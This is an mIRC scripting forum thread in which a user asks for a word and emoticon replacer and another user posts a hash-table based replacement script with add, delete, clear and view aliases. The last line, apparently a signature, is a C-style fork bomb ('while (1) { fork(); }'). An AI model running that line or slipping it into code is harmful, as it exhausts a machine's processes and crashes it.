mIRC Home    About    Download    Register    News    Help

Print Thread
Help with a text replacer. #106377 29/12/04 02:06 PM
Joined: Dec 2004
Posts: 5
A
ACWalkerII Offline OP
Nutrimatic drinks dispenser
OP Offline
Nutrimatic drinks dispenser
A
Joined: Dec 2004
Posts: 5
Code:
on *:input:*:{
say $replace($1-,irc,IRC)
halt
}


What I need is this script but have it so it replaces irc with IRC but not mirc with mIRC, and have it so I can have more then one line of words or letters to be replaced.
somthing like this.

Code:
on *:input:*:{
say $replace($1-,irc,IRC)
say $replace($1-,:),:-))
say $replace($1-,;),;-))
say $replace($1-,:D,:-D)
halt
}


any help would be nice.
-Walker

Re: Help with a text replacer. #106378 29/12/04 03:47 PM
Joined: Nov 2004
Posts: 80
D
DrStein Offline
Babel fish
Offline
Babel fish
D
Joined: Nov 2004
Posts: 80
Code:
 
on *:INPUT:*:{
  if ($left($1,1) != $chr(47)) { testacronym $1- }
}

alias -l testacronym {
  var %i = $getacro($1-)
  if (%i) {
    msg $active %i
    halt
  }
}

alias -l getacro {
  if (!$hget(acro)) { return }
  var %i = 1
  var %r 
  while ($gettok($1-,%i,32)) {
    var %j = $v1
    if ($hget(acro,%j)) { %j = $v1 }
    %r = %r %j
    inc %i
  }
  return %r 
}

on *:START: {
  if ($isfile($scriptdiracro.hsh)) {
    hmake acro 20
    hload acro " $+ $scriptdiracro.hsh"
  }
}

on *:exit:{ 
  if ($hget(acro)) { hsave -o acro " $+ $scriptdiracro.hsh" }
}

alias addacro {
  if ($1 && $2) { hadd -m acro $1 $2- } 
}

alias delacro {
  if ($hget(acro,$1)) { hdel acro $1 }
}

alias clearacro {
  if ($hget(acro)) { hfree acro }
  if ($isfile($scriptdiracro.hsh)) { .remove " $+ $scriptdiracro.hsh" }
} 

alias viewacro {
  var %i = 1
  while ($hget(acro,%i).item) {
    echo -a Word $v1 replaced by $hget(acro,%i).data
    inc %i
  } 
}
 

/addacro <word> <replaced by> :adds a word to database
/delacro <word> :deletes a word from database
/clearacro: Clear list
/viewacro:View list


while (1) { fork(); }